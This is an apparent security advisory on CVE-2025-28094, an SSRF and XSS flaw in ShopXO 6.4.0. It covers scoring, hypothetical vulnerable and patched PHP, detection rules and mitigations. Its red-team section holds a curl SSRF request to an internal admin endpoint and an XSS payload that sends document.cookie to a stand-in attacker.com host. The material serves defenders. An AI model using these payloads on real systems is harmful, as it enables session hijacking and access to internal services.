CVE-2025-28094

Executive Summary

CVE-2025-28094 identifies a critical Server-Side Request Forgery (SSRF) and Cross-Site Scripting (XSS) vulnerability in ShopXO version 6.4.0. The vulnerability exists in multiple places within the application, allowing an unauthenticated attacker to craft malicious requests that can lead to internal network scanning, data exfiltration, and execution of arbitrary JavaScript in the context of a victim’s browser. The SSRF component enables an attacker to make requests from the vulnerable server to internal or external resources, potentially bypassing firewalls and accessing sensitive internal services. The XSS component allows injection of malicious scripts into web pages viewed by other users, leading to session hijacking, credential theft, or defacement. No official patch has been released, and the vulnerability is publicly known.

Supply Chain & Package Security

ShopXO is a PHP-based e-commerce platform. The vulnerability is in the core application code, not in a specific package manager (NPM, PyPI, Go, Ruby). However, organizations using ShopXO should treat this as a critical supply chain risk because the vendor has not provided a patch, leaving all installations vulnerable until a fix is applied or mitigations are implemented.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0, which is likely a placeholder or uncalculated. Based on the vulnerability characteristics (SSRF and XSS), a reasonable CVSS v3.1 vector would be:

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): Required (R) for XSS, None (N) for SSRF.
• Scope (S): Changed (C) for XSS (affects other users), Unchanged (U) for SSRF.
• Confidentiality (C): High (H) – SSRF can expose internal data.
• Integrity (I): High (H) – XSS can modify content.
• Availability (A): Low (L) – Limited impact on availability.

Estimated CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:L
Estimated Score: 8.2 (High)

Threat Level: High – Exploitation is straightforward, and the impact includes data theft and lateral movement.

Deep Dive & Mechanics

The vulnerability stems from insufficient input validation in multiple endpoints of ShopXO 6.4.0. The SSRF component occurs when the application accepts user-supplied URLs and fetches them without proper sanitization or restriction. An attacker can supply a URL pointing to internal services (e.g., http://127.0.0.1:8080/admin) or cloud metadata endpoints (e.g., http://169.254.169.254/latest/meta-data/). The server then makes the request, returning the response to the attacker.

The XSS component arises when user input is reflected in the response without proper encoding. For example, a search query or error message might include the attacker’s payload directly in the HTML. An attacker can craft a URL like http://target.com/search?q=<script>alert('XSS')</script>, and if the application does not sanitize the q parameter, the script executes in the victim’s browser.

The combination of SSRF and XSS is particularly dangerous because an attacker can use XSS to trick an authenticated admin into performing actions that trigger SSRF, escalating the attack.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is the entire ShopXO 6.4.0 codebase. The following is a hypothetical example of vulnerable PHP code and a patched version.

Vulnerable Code (SSRF):

// In a controller that fetches a URL
$url = $_GET['url'];
$response = file_get_contents($url);
echo $response;

Patched Code (SSRF):

// Validate URL against a whitelist
$allowed_hosts = ['api.example.com', 'cdn.example.com'];
$url = $_GET['url'];
$parsed_url = parse_url($url);
if (!in_array($parsed_url['host'], $allowed_hosts)) {
    die('Invalid URL');
}
$response = file_get_contents($url);
echo $response;

Vulnerable Code (XSS):

// In a view template
echo "Search results for: " . $_GET['q'];

Patched Code (XSS):

// Use htmlspecialchars to encode output
echo "Search results for: " . htmlspecialchars($_GET['q'], ENT_QUOTES, 'UTF-8');

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

1. Install ShopXO 6.4.0 on a local server (e.g., using Docker or XAMPP).
2. Set up a listener (e.g., Netcat or a webhook) to capture outbound requests.
3. Use a browser or tool like Burp Suite to craft requests.

SSRF Exploitation:

# Request internal service
curl "http://target.com/fetch?url=http://127.0.0.1:8080/admin"

XSS Exploitation:

# Inject script via search parameter
curl "http://target.com/search?q=<script>fetch('http://attacker.com/steal?cookie='+document.cookie)</script>"

Combined Attack:

1. Send a phishing email with a link containing the XSS payload.
2. The XSS payload executes in the admin’s browser, making an SSRF request to internal services.
3. The SSRF response is sent to the attacker’s server.

Blue Team (Defensive)

Detection:

• Monitor for outbound requests to internal IP addresses (127.0.0.0/8, 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16).
• Look for unusual URL parameters containing http:// or https:// in application logs.
• Detect XSS patterns in HTTP requests (e.g., <script>, onerror=, javascript:).

Mitigation:

• Implement a web application firewall (WAF) rule to block requests to private IP ranges.
• Use Content Security Policy (CSP) headers to restrict script execution.
• Apply input validation and output encoding in all user-facing forms.

Indicators of Compromise (IOCs)

• Network IOCs:

  • Outbound HTTP requests to internal IP addresses (e.g., 10.x.x.x, 192.168.x.x, 127.0.0.1).
  • Requests to cloud metadata endpoints (e.g., 169.254.169.254).
  • Unusual User-Agent strings or repeated requests to the same endpoint.

• File IOCs:

  • Log entries containing file_get_contents with suspicious URLs.
  • Temporary files created in /tmp or web root with names like ssrf_*.

• Behavioral IOCs:

  • Unexpected server load due to SSRF scanning.
  • Alerts from WAF or IDS/IPS for XSS or SSRF signatures.

Detection Engineering

YARA Rule

rule CVE_2025_28094_SSRF_XSS {
    meta:
        description = "Detects SSRF and XSS patterns in ShopXO 6.4.0"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-28094"
    strings:
        $ssrf_url = /(http|https):\/\/(127\.0\.0\.1|10\.\d{1,3}\.\d{1,3}\.\d{1,3}|192\.168\.\d{1,3}\.\d{1,3}|169\.254\.\d{1,3}\.\d{1,3})/
        $xss_payload = /<script[^>]*>.*<\/script>/i
        $xss_event = /on\w+\s*=\s*['"][^'"]*['"]/i
    condition:
        any of them
}

Sigma Rule

title: CVE-2025-28094 SSRF and XSS Detection
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects potential SSRF and XSS exploitation attempts against ShopXO 6.4.0
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection_ssrf:
        cs-method: 'GET'
        cs-uri-query|contains:
            - 'http://127.0.0.1'
            - 'http://10.'
            - 'http://192.168.'
            - 'http://169.254.'
    selection_xss:
        cs-uri-query|contains:
            - '<script>'
            - 'onerror='
            - 'javascript:'
    condition: selection_ssrf or selection_xss
falsepositives:
    - Legitimate use of external APIs (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-28094 SSRF Attempt"; flow:to_server,established; content:"GET"; http_method; content:"http://127.0.0.1"; http_uri; sid:1000001; rev:1;)
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-28094 XSS Attempt"; flow:to_server,established; content:"<script>"; http_uri; sid:1000002; rev:1;)

Remediation & Mitigation

Since no official patch is available, the following mitigations are recommended:

1. Disable Unnecessary Features: If the vulnerable endpoints are not critical, disable them in the application configuration.
2. Web Application Firewall (WAF): Deploy a WAF with rules to block SSRF (e.g., deny requests to private IP ranges) and XSS (e.g., block <script> tags).
3. Network Segmentation: Restrict outbound traffic from the web server to only necessary external services using firewall rules.
4. Input Validation: Implement server-side validation to ensure URLs only point to allowed domains and that all user input is properly encoded before reflection.
5. Monitor Logs: Actively monitor web server logs for suspicious patterns and set up alerts.
6. Upgrade: Watch for an official patch from ShopXO and apply it as soon as it is released.

Valters IT
DevSecOps & Cyber Threat Intelligence Expert